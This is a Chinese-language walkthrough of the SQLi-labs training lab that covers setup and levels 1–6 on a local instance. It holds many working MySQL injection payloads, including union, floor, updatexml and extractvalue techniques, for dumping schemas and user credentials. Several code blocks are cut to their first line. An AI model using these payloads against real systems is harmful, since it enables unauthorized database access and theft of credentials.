1——65关 SQLI-labs全部通关记录(终极详细)
0 安装和配置
1 注意 php5xxx
2 修改数据库配置文件:user、pass
3 注意打开网页根目录下,setup 初始化数据库
4 修改系统环境变量
本地访问目录[http://127.0.0.1/sql/Less-1/?id=1](http://127.0.0.1/sql/Less-1/?id=1)
配置总结
数据库账户密码配置sql/sql-connections/db-creds.inc
里面可以配置数据库账户密码
本地命令行登录数据库(Windows)mysql -uroot -pmima
Mysql 常用操作
1 | 一起默写一下SQL注入的核心语句吧,巩固记忆,方便后续注入的使用 |
测试报错<font style="color:rgba(0, 0, 0, 0.85);">"0,\"),\",))'\""</font>
查表
1 | 查库:select schema_name from information_schema.schemata; |
常用函数
1 | select system_user(); // 连接到数据库的用户身份 root@localhost |
联合查询出数据库信息
1 | 查库名:联合查询,拼接每一行后,用一行返回信息 |
基础挑战 1-20
L1 报错/函数/联合注入
- 注意:id 值可能为
int
/varchar
这个是在数据库定义的- 报错的类型不是指的 id 类型,是指我们输入的数据被当作类型
- (这个是写在后端的)
- 有单引号,字符型
联合查询总结
1 | 记得把联合查询后面:所有的有'单引号的地方——删除单引号、编码为hex、前面加上0x |
基础概念
查询
1 | select * from users; // 找出users表中所有数据 |
判断报错:无论数字/字符型都可以用单引号判断报错 ‘ &&还可以用判断语句判断注入
1 | 这个时候 |
排序查询
1 | select * from users order by 2; // 按照第二列排序 |
联合注入
联合注入:sql 有回显的地方(把本身的回显屏蔽了,然后查询自己想要的内容)
1 | id=1' union select 1,2,3--+ |
还是显示的原来查询的东西,这个时候需要屏蔽他,
才能得到我们想要的回显
改为 -1 即可
1 | id=-1' union select 1,2,3--+ // 这个语句在mysql中需要手工再加一个;因为本来的分号被屏蔽了 |
常用函数
mysql 常用函数
显示当前用户的函数:
1 | select system_user(); // 连接到数据库的用户身份 root@localhost |
数据库和系统信息:
1 | select database(); 当前使用的数据库 |
联合查询的使用
0 已经用 order by 查出数据库列数,联合查询的 1 ,2,3 数量应和列数相同,且在最后一个位置(3)查数据
1 注意,查询位置的类型,应该和该列的默认数据类型相同
2 首先用 union select 1,2,3 判断回显信息的位置
3 然后利用回显的位置查询库、表、用户…
1 | ?id=-1' union select 1,2,3;--+ 在2,3位置有回显, |
查库
1 | ?id=-1' union select 1,schema_name from information_schema.schemata,3;--+ |
1 | ?id=-1' union select 1,2,schema_name from information_schema.schemata limit 1,1;--+ |
把所有数据链接、拼接为一行,进行显示
1 | ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata;--+ |
查表(从 security 数据库中)
1 | ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--+ |
查列名(有哪些字段)
1 | ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';--+ // 编码如下 |
查列中的值
1 | ?id=-1' union select 1,2,group_concat(username,password) from security.users;--+ |
数字型/字符型判断
- 首先要理解:查询字段本身的类型和报错的类型不是一个东西
- 查询字段的类型是定义在数据库里的
- 报错类型是定义在后端代码里的
- 指的我们输入数据被当作字符型还是数字对待
- 如下:
- 字段 id 的类型可以是
int
/varchar
- 当 id 为 int 的时候,后面输入的也值可以是字符
- 字段 id 的类型可以是
- 但是:
- 比如
username
、password
在数据库中这种一定是字符型的定义 - 其对应的查询字段也一定是字符型的(不会是数字)
- 比如
orderby 判断:
id=1 order by 9999--+
数字型会报错,字符型不会
字符型
- 查询语句
select from user where id = '1 order by 9999--+'
- 没有用
'
闭合的时候,注释符号--+
是被当做查询值的一部分的(没有起作用) - 实际上:只会截取到第一个不是数字的字母为止
1 order by 9999 --+
这里就会直接被当作查 11asdas
也会被当作查 1asd1
就会被错
- 查询语句
数字型
- 查询语句
select from user where id=1 order by 9999--+
- 这个时候注释符起作用了:查询 id 等于 1 的表项,按照第 9999 个属性字段排序
- 现实中肯定不存在 9999 个属性的表项,所以会报错
- 查询语句
逻辑判断猜测:
- id:可以存为
int
、varchar
、char
其查询值可能是数字,也可能是字符- 用第一种方式判断
- username、password 这种肯定是
varchar
、char
不然会报错- 默认是字符型
- id:可以存为
常规判断:
**<font style="color:#DF2A3F;">and 1=1</font>**
、**<font style="color:#DF2A3F;">and 1=2</font>**
- 数字型:
?id=1 and 1=1--+
逻辑对:不报错- 查询语句
select from user where id=1--+
- 查询语句
?id=1 and 1=2--+
逻辑不对:报错- 查询语句
select from user where id=2--+
- 查询语句
- 字符型:
?id=1 and 1=2--+
不报错:因为被当作整个字符串处理了- 查询语句
select from user where id='1 and 1=2--+'
id
这个属性mysql 查询到 1 后面的第一个字母,就停止了,模糊判断1 and 1=2--+
为 1
- 查询语句
- 数字型:
L1 手工注入
1 | #判断注入点: |
注意:在查表中所有字段时,我们上面使用的语句没有声明数据库,它会默认在当前使用的数据库中查询
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';--+
如果需要指定数据库如:security
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+
L2 数字型
数字型和字符型的唯一区别就是:数字型不需要闭合单引号,字符型需要
判断基础信息
1 | ?id=1' 有报错 |
查库的信息
1 | #查有哪些库 |
L3 闭合符号’)
闭合符号不同')
判断类型
1 | #显然是字符型 |
L4 闭合符号”)
闭合符合不同")
- 判断闭合符号
'
、)
都不会报错,只有"
报错- 但是加上
?id=1"--+还是报错
,可能不止一种闭合符号 - 测试
?id=1")--+
就不报错了 - 因此闭合符号为
")
- 但是加上
L5 查询结果无回显(报错注入)
类型判断
可以看到 id=1 是对的,但是查询结果没有回显
查看源代码,可以看到,源码里面没有写回显数据的函数
以前的关卡是写了返回结果的
这里需要报错注入了
- 判断类型
?id=1'
报错?id=1 and 1=1--+
不报错?id=1 and 1=2--+
不报错- 因此类型为字符型(逻辑判断被当作字符串内容解析了,而数据库模糊匹配:只匹配了 1)
floor注入原理
MYSQL floor 报错注入详解_mysql 报错注入 floor-CSDN博客
(不超过 64 字符)
语句SELECT COUNT(*),floor(RAND(0)*2) as x from users GROUP BY x
- floor报错原理:利用主键不能重复,使用随机数序列配合
group by
的逻辑- 数据库主键重复会报错
rand(0) * 2
会产生数字序列为011011
group by
在统计数据时会产生虚表(临时表),用作统计- 在查询时会计算一次
rand(0) * 2
第一次是 0 - 如果表中没有该数据,向虚表插入数据会在计算一次
rand(0) * 2
第二次就变成 1
- 在查询时会计算一次
1 | count x |
* 查询第二个数据时计算一次`rand(0) * 2`第三次变成 1
+ 但是表中已经有值为 1 的数据了,不需要插入,count+1 即可
1 | count x |
* 查询第三个数据计算一次`rand(0) * 2`第四次变成 0
+ 表中没有值为 0 的数据,需要插入
+ 插入时再计算一次`rand(0) * 2`,第五次变为 1
1 | count x |
- 这样表中就有两个主键为 1 的表项,就会报错
floor 注入 payload
(最多回显 64 个字符)
1 | ?id=1'union select count(*),0, |
获取**数据库**
1 | ?id=1'union select count(*),0,concat(0x3a,(select database()),0x3a,floor(rand(0)*2)) |
获取**版本、数据库、用户**
1 | http://127.0.0.1/sql/Less-5/?id=1'union select count(*),0, |
查**security 数据库**
中有哪些**表**
1 | ?id=1'union select count(*),0, |
查**security 数据库**
中的**users**
表有哪些列名
floor
报错注入只能回显 64 字符
1 | payload1 |
注意上面没有声明数据库,会有一些非我们想查数据库的冗余信息,推荐 payload2
查**security.users**
中的**username&password**
键的值
1 | 因为这里返回内容远超过64字符,会有问题,需要用substring(string,pos,len)控制返回长度 |
updatexml/extractvalue 原理
MYSQL updatexml报错注入 - vspiders - 博客园
(不超过 32 字符)
总结:
updatexml(para1,para2,para3)
用于修改- para1 文件名、para2 文件路径 Xpath、para3 新值
extractvalue(para1,para2)
- para1 文件名、para2 文件路径 Xpath
- payload 都在 para2 处,区别只是有没有 para3
- para1 和 para3 随意填即可
在 mysql 高于 5.1 添加对 XML 文档查询/修改的函数
updatexml()、extractvalue()
- 当 xml 文档路径错误,会报错
- 使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
updatexml(XML_document, XPath_string, new_value);
用不同的xml标记匹配和替换xml块的函数XML_document
是String
格式,为XML
文档对象名称(文中为 DOC)XPath_string
是Xpath
格式的字符串- 如
//title【@lang】
- 如
new_value
是String
格式(新的替换数据)
如
select * from test where ide = 1 and (updatexml(1,0x7e,3));
- 由于
0x7e
是~
,不属于xpath
语法格式,因此报出xpath
语法错误
- 由于
extractvalue(XML_document,xpath_string)
从目标 XML 中返回包含查询值的字符串XML_document
是String
格式,XML
文档对象名称xpath_string
是Xpath
格式的字符串
如下:
1 | select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); |
updatexml注入payload
(不超过 32 字符)
1 | id=1' and updatexml(1,concat(0x7e,(<payload>),0x7e),1) --+ |
查当前使用数据库
1 | ?id=1' and updatexml(1,concat(0x7e,(select database())),1)--+ |
查有哪些数据库
1 | 这里可以自己调节substring来返回数据 |
查当前数据库名、版本、用户
1 | ?id=1' and updatexml(1,concat(0x7e,database(),version(),0x7e, user()),1)--+ |
查**security**
数据库里有哪些表
1 | ?id=1' and updatexml(1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),1)--+ |
查**security**
数据库中有哪些**columns**
1 | ?id=1' and updatexml(1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema ='security'),1)--+ |
使用substring
调整返回数据
1 | ?id=1' and updatexml(1,substring((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema ='security'),1,32),1)--+ |
查**security.users**
中的**username&password**
列
1 | 使用substring调整了返回数据 |
extractvalue 注入payload
查当前使用的数据库、版本、用户
1 | ?id=1' and extractvalue(1,concat(0x3a,database(),0x3a,version(),0x3a,user()))--+ |
查有哪些数据库
1 | ?id=1' and extractvalue(1,substring((select group_concat(schema_name) from information_schema.schemata),35,32))--+ |
查**security**
数据库中有哪些表
1 | ?id=1' and extractvalue(1,(select group_concat(table_name) from information_schema.tables where table_schema='security'))--+ |
查**security**
数据库中**users**
表中有哪些**columns**
1 | ?id=1' and extractvalue(1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'))--+ |
查**security.users**
中的**username&password**
1 | ?id=1' and extractvalue(1,substring((select group_concat(concat_ws('_',username,password)) from security.users),1,32))--+ |
总结
group_concat
用来把同一个返回字段,但是有多个返回值的,返回回来- 如
select group_concat(table_name) from information_schema.tables
- 如
concat
用来连接多个不同字段,可以自定义连接符- 如
?id=1' and updatexml(1,concat(0x3a,database(),0x3a,version()),1)--+
- 如
concat_ws
用来连接不同字段,同时都有多个值,需要配合group_concat 食用
- 如
select group_concat(concat_ws('_',username,password)) from security.users
- 如
- 注意
- 1 尽量都在 sql 语句外面加一个括号,不然可能会报语法错误
- 2 如果有时候没有返回值,可以使用
limit
或者substring
- 推荐
substring
- 推荐
- 3 三种报错注入方式中,
updatexml
感觉是最方便的,简单且好打字
L6 报错注入 or 布尔盲注
<font style="color:rgba(0, 0, 0, 0.85);">"0,\"),\",))'\""</font>
判断类型
- 双引号报错
"
,闭合符号不一样 - 测试数据类型
?id=1 and 1=1--+
不报错?id=1 and 1=2--+
不报错- 字符类型
报错注入payload
和第五关一样,换成"
闭合即可
1 | 当前数据库、版本、用户 |
1 | 有哪些数据库 |
1 | 查security数据库中有什么表 |
1 | 查security数据库中的users表有哪些表项 |
1 | 查security.users中的username和password中的内容 |
布尔盲注
手动注入太麻烦了,不推荐
1 | #判断当前数据库长度 |
可以用脚本